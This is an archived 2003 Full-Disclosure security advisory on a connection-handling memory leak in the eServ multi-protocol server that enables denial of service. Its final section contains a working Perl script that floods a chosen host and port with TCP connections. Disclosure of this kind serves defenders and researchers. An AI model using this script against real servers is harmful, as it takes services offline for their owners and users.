eServ Memory Leak Enables Denial of Service Attacks I. Product Description eServ is a hybrid Web server (HTTP), FTP server, mail server (POP3, SMTP, Finger), news server (NNTP), and proxy server. It provides all these services in a single package, so that administrators are not required to run multiple different packages to support these protocols. II. Vulnerability Description eServ's connection handling routine contains a memory leak that may be exploited to cause the eServ daemon to become unavailable. Upon receiving a connection, the server allocates a block of memory on the heap between 8 and 32 kilobytes in size. The reason for this size variance was not isolated. This block of memory is not freed on disconnect, leading it to leak. After several thousand successful connections, memory use on the system becomes exceedingly high. If memory use on the system becomes excessively high, the system may become unusable. III. Impact An attacker who can repeatedly establish connections with the eServ daemon can cause services running on the vulnerable system (including other services outside of eServ's process) to fail. The vulnerability can actually be exploited by accident on high-traffic sites -- each connection causes a leak. After about 1,000 connections, anywhere between 7.81 MB and 31.25 MB may leak. To deprive an average server system of resources to the point of failure, a significant number of connections is required. After 10,000 connections, 78.1 MB to 312.5 MB may leak; in my experience, about 50,000 connections is sufficient to cause system failure. At this point, 390.5 MB to 1.52 GB has leaked. IV. Vendor Contact I attempted to contact the vendor via infoat_private and supportat_private The former address bounced, and no response was received from the second contact attempt. eServ has a horrible security record, and I recommend using a production server for internet sites. V. Exploit #!/usr/bin/perl #LEGAL NOTICE: Don't test this on networks you don't administer, #and do not test this tool on networks you don't own without #permission of the network owner. You are responsible for all #damage due to your use of this tool. use IO::Socket; print "$0: eServ Remote DoS Exploit\r\n"; print "By Matthew Murphy \<mattmurphy\@kc.rr.com\>\r\n\r\n"; print "Server hostname\: "; $host = trim(chomp($line = <STDIN>)); print "Service port to probe\: "; $port = trim(chomp($line = <STDIN>)); print "\r\nBeginning probe -- stop with CTRL+C\r\n"; while (1) { $f = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host:$port"); undef $f; } _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html
This archive was generated by hypermail 2b30 : Sun May 11 2003 - 09:51:04 PDT